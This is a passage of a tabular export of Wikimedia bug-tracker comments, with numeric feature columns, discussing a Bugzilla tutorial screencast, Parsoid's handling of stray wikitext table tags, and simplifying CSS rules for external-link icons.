OK, Im thinking about doing the script with part Slideshow and mostly a Guided screen recording. What do you guys think about that?",,,1385416522,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,9.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.742857142857143,0.8857142857142857,"**lettrich42** wrote:

OK, Im thinking about doing the script with part Slideshow and mostly a Guided screen recording. What do you guys think about that?"
259068,Make tutorial video on how to use Bugzilla,Awww! Thanks a lot!,,,1385400061,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.8333333333333334,Awww! Thanks a lot!
259063,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

I am a student from Google Code in this task was assighned to, and I will start today, begining in a couple of hours. (Regular updates were required)",,,1385399968,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.5121951219512195,0.8292682926829268,"**lettrich42** wrote:

I am a student from Google Code in this task was assighned to, and I will start today, begining in a couple of hours. (Regular updates were required)"
259059,Make tutorial video on how to use Bugzilla,"(In reply to comment #11)
> You should post that guided form to wikitech-l

http://lists.wikimedia.org/pipermail/wikitech-l/2013-October/072786.html",,,1383585826,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,"(In reply to comment #11)
QUOTE

URL"
259054,Make tutorial video on how to use Bugzilla,"(In reply to comment #10)
> https://bugzilla.wikimedia.org/enter_bug.cgi?product=VisualEditor&format=guided

That is REALLY nice!!  You should post that guided form to wikitech-l, I am sure other components could make use of a similar form.",,,1383574738,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,2.0,0.0,5.0,0.0,0.0,5.0,2.0,7.0,0.0,2.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.261904761904762,0.9285714285714286,"(In reply to comment #10)
QUOTE

That is REALLY nice!!  You should post that guided form to wikitech-l, I am sure other components could make use of a similar form."
259050,Make tutorial video on how to use Bugzilla,"The guided form is now ready (i.e. https://bugzilla.wikimedia.org/enter_bug.cgi?product=VisualEditor&format=guided ), and I'd really love to have a screencast about it!",,,1383570076,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.217391304347826,1.0,"The guided form is now ready (i.e. URL ), and I'd really love to have a screencast about it!"
259048,Make tutorial video on how to use Bugzilla,"Note that there are also bugzilla.mozilla.org thoughts on having video tutorials for specific Bugzilla topics: https://bmo.etherpad.mozilla.org/bugzilla-tips-videos
I don't know how much upstream this would be though.",,,1381787304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,15,,3.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.766666666666667,1.0,"Note that there are also bugzilla.mozilla.org thoughts on having video tutorials for specific Bugzilla topics: URL
I don't know how much upstream this would be though."
259043,Make tutorial video on how to use Bugzilla,"Currently I'd use the normal form with ""Hide Advanced Fields"" enabled, and either MediaWiki or Wikimedia product, plus component ""General/Unknown"".",,,1381763815,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,30.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,20.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,0.8666666666666667,"Currently I'd use the normal form with ""Hide Advanced Fields"" enabled, and either MediaWiki or Wikimedia product, plus component ""General/Unknown""."
259040,Make tutorial video on how to use Bugzilla,Guided form (bug 36762) is still under development and not deployed - this week was too busy with reallife but will try to get it into shape next week.,,,1381503809,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.84375,0.96875,Guided form (bug 36762) is still under development and not deployed - this week was too busy with reallife but will try to get it into shape next week.
259037,Make tutorial video on how to use Bugzilla,"Well, yes, a video screencast.

What I'm asking is whether we should do it using the plain Bugzilla interface or the guided form.",,,1381468109,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,14.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,3.7241379310344827,0.896551724137931,"Well, yes, a video screencast.

What I'm asking is whether we should do it using the plain Bugzilla interface or the guided form."
259033,Make tutorial video on how to use Bugzilla,"(In reply to comment #4)
> What interface should we use for this screencast? The traditional or this new
> one Andre is cooking up?

I'd assumed you'd create a video in .ogv format.

A paginated PDF is also an option.",,,1381459718,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0588235294117645,0.8529411764705882,"(In reply to comment #4)
QUOTE
QUOTE

I'd assumed you'd create a video in .ogv format.

A paginated PDF is also an option."
259026,Make tutorial video on how to use Bugzilla,"What interface should we use for this screencast? The traditional or this new one Andre is cooking up?

I have started defining a rough script at https://www.mediawiki.org/wiki/Talk:How_to_report_a_bug#Screencast",,,1381444276,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,10.0,3.0,7.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,0.0,4.133333333333334,0.9333333333333333,"What interface should we use for this screencast? The traditional or this new one Andre is cooking up?

I have started defining a rough script at URL"
259022,Make tutorial video on how to use Bugzilla,"For the records (and inspiration), the only pretty good (and partially Mozilla-centric) video I am aware of is http://blog.johnath.com/2010/02/04/bugzilla-for-humans/",,,1380150692,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.8461538461538461,"For the records (and inspiration), the only pretty good (and partially Mozilla-centric) video I am aware of is URL"
259019,Make tutorial video on how to use Bugzilla,"A screencast showing the shortest path to file a bug report should do. I haven't done a screencast in ages but I will try tomorrow, with the hope that someone hates what I did and produces something better.  :)

In fact this could be start of something. We could have more short screencasts focusing on a specific action (advanced search, comment on a bug...) and extend the idea to other tools (get developer access, comment on Gerrit...). These short videos could be easily embedded in the right wiki pages and...

But let me try with this File Your First Bug screencast first.  :)",,,1380145913,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,12,,0.0,1.5,0.0,1.0,0.5,7.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,3.0,0.0,2.5,7.5,1.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.5,1.0,1.5,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,13.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,6.0,1.5,8.5,0.5,3.5,8.0,0.0,1.5,0.0,0.0,6.5,0.0,0.0,0.0,3.5,7.5,2.5,0.0,0.0,0.0,3.5,0.0,0.5,3.0,1.0,1.0,1.0,0.5,0.0,3.926097303014278,0.829190904283448,"A screencast showing the shortest path to file a bug report should do. I haven't done a screencast in ages but I will try tomorrow, with the hope that someone hates what I did and produces something better.  :)

In fact this could be start of something. We could have more short screencasts focusing on a specific action (advanced search, comment on a bug...) and extend the idea to other tools (get developer access, comment on Gerrit...). These short videos could be easily embedded in the right wiki pages and...

But let me try with this File Your First Bug screencast first.  :)"
259015,Make tutorial video on how to use Bugzilla,"Maybe Victor / some designers / whoever, can produce nice video intro and outro :)",,,1380143726,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,12,,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9375,"Maybe Victor / some designers / whoever, can produce nice video intro and outro :)"
56605,Improve handling of stray table tags / Verify that we handle stray table tags correctly,"Occasionally, pages have stray opening table tags which may end up screwing up DSR computations (which in turns messes up selser). It is possible that our latest foster parenting code implicitly handles this by wrapping the entire table as templated and protected a large body of code (which could then serve as a flag to the user to look for bugs in the wikitext souce). So, it might be worth verifying this and adding tests to spec this behavior.

See the bug report: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=574391235#Duplicated_content_when_deleting_apparently_blank_lines

See my response that fixed the problem in the wikitext source: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=574483272#References_and_tables

If this is not already handled by our handleUnbalancedTables and markFosteredContent DOM passes, we may need to tackle this -- by maybe adding a fixup in TokenStreamPatcher that enforces limited table scope (section boundaries is the obvious scope limiter => close unclosed tables whenever section heading tokens are encountered).

To be investigated and fixed.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1380128640,1592505284.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-s52vfnr5655l5mcn3ccw,task_description,resolved,True,c1,3,True,True,False,12,,0.0,0.0,0.0,1.5,0.5,5.5,1.5,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,10.5,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.5,4.5,1.0,1.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,1.0,0.0,1.0,0.0,19.5,1.5,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,5.0,3.0,7.5,1.5,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.5,2.0,0.0,0.0,0.0,3.0,0.0,3.0,1.5,0.0,3.0,0.0,0.5,0.5,4.398320268756999,0.7512318029115341,"Occasionally, pages have stray opening table tags which may end up screwing up DSR computations (which in turns messes up selser). It is possible that our latest foster parenting code implicitly handles this by wrapping the entire table as templated and protected a large body of code (which could then serve as a flag to the user to look for bugs in the wikitext souce). So, it might be worth verifying this and adding tests to spec this behavior.

See the bug report: URL

See my response that fixed the problem in the wikitext source: URL

If this is not already handled by our handleUnbalancedTables and markFosteredContent DOM passes, we may need to tackle this -- by maybe adding a fixup in TokenStreamPatcher that enforces limited table scope (section boundaries is the obvious scope limiter => close unclosed tables whenever section heading tokens are encountered).

To be investigated and fixed.

--------------------------
**Version**: unspecified
**Severity**: normal"
1528288,Improve handling of stray table tags / Verify that we handle stray table tags correctly,"We have made a bunch of fixes over the years. Since then, we also have wikitext linting that flags brokenness (fostering, missing end tags) which cover some of these cases. I don't think we should clutter the Parsoid code base trying to make sense of obviously broken markup. So, I am going to close this as resolved.",,,1592505284,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-s52vfnr5655l5mcn3ccw,task_subcomment,,True,c1,3,True,,,363,,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,9.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,13.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,7.0,0.0,0.0,0.0,3.8955223880597014,0.8208955223880597,"We have made a bunch of fixes over the years. Since then, we also have wikitext linting that flags brokenness (fostering, missing end tags) which cover some of these cases. I don't think we should clutter the Parsoid code base trying to make sense of obviously broken markup. So, I am going to close this as resolved."
258990,Improve handling of stray table tags / Verify that we handle stray table tags correctly,"(In reply to comment #0)
> Occasionally, pages have stray opening table tags which may end up screwing
> up
> DSR computations (which in turns messes up selser). It is possible that our
> latest foster parenting code implicitly handles this by wrapping the entire
> table as templated and protected a large body of code (which could then serve
> as a flag to the user to look for bugs in the wikitext souce). So, it might
> be
> worth verifying this and adding tests to spec this behavior.

That seems to happen if a template is present, as in:

  {|

  {{echo|hi}}

  ;Ho

However, that's not the case in the bug report. It's more like,

  {|

  ;Off to work we go


> 
> See the bug report:
> https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
> Feedback&oldid=574391235#Duplicated_content_when_deleting_apparently_blank_li
> nes
> 
> See my response that fixed the problem in the wikitext source:
> https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/
> Feedback&oldid=574483272#References_and_tables
> 
> If this is not already handled by our handleUnbalancedTables and
> markFosteredContent DOM passes, we may need to tackle this -- by maybe
> adding a
> fixup in TokenStreamPatcher that enforces limited table scope (section
> boundaries is the obvious scope limiter => close unclosed tables whenever
> section heading tokens are encountered).

Seems reasonable.

> 
> To be investigated and fixed.",,,1380840132,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-s52vfnr5655l5mcn3ccw,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,24.0,0.5,0.0,3.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,1.5,5.0,17.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,2.9491525423728815,0.5084745762711864,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That seems to happen if a template is present, as in:

  {|

  {{echo|hi}}

  ;Ho

However, that's not the case in the bug report. It's more like,

  {|

  ;Off to work we go


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Seems reasonable.

QUOTE
QUOTE"
56604,Large number of CSS rules for external links,"Assigning to Parser as I suspect this is what would need to be fixed up to support this.

This patch [1] demonstrates the large number of rules exist for external links:

The browser matches styles from right to left, so the rightmost selector is really important.

We shouldn't need to have to resort to CSS rules in the form div#content a.external[href ^=""https://""] - a link with class external should also have a class describing what type of external link it is if it is necessary. These selectors are less efficient and are not supported by older browsers.

Ideally we should simply these rules to become something like:

.link-audio,
.link-video,
.link-document,
.link-irc,
.link-ftp,
.link-https,
.link-news,
.link-mailto {
padding-right: 13px;
background: transparent center right no-repeat;
}

with rules for each of them for their correct icon.

[1] https://gerrit.wikimedia.org/r/#/c/85920/2/skins/vector/externalLinks.less

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=63725
https://bugzilla.wikimedia.org/show_bug.cgi?id=63521",Medium,50.0,1380128040,1418744455.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-a4ziafykxquhrim4wrm3,task_description,resolved,True,c1,3,False,False,False,12,,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,5.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,4.333333333333333,8.0,0.3333333333333333,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.3333333333333335,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,1.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,14.333333333333334,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,2.3333333333333335,6.0,0.3333333333333333,0.3333333333333333,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.6666666666666665,8.0,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,1.6666666666666667,3.6629239766081874,0.6602923976608187,"Assigning to Parser as I suspect this is what would need to be fixed up to support this.

This patch [1] demonstrates the large number of rules exist for external links:

The browser matches styles from right to left, so the rightmost selector is really important.

We shouldn't need to have to resort to CSS rules in the form div#content a.external[href ^=""URL - a link with class external should also have a class describing what type of external link it is if it is necessary. These selectors are less efficient and are not supported by older browsers.

Ideally we should simply these rules to become something like:

.link-audio,
.link-video,
.link-document,
.link-irc,
.link-ftp,
.link-https,
.link-news,
.link-mailto {
padding-right: 13px;
background: transparent center right no-repeat;
}

with rules for each of them for their correct icon.

[1] URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
343057,Large number of CSS rules for external links,"Sigh.
I'm frustrated by the removal of icons that were useful.",,,1418760677,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,76,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.9333333333333333,"Sigh.
I'm frustrated by the removal of icons that were useful."
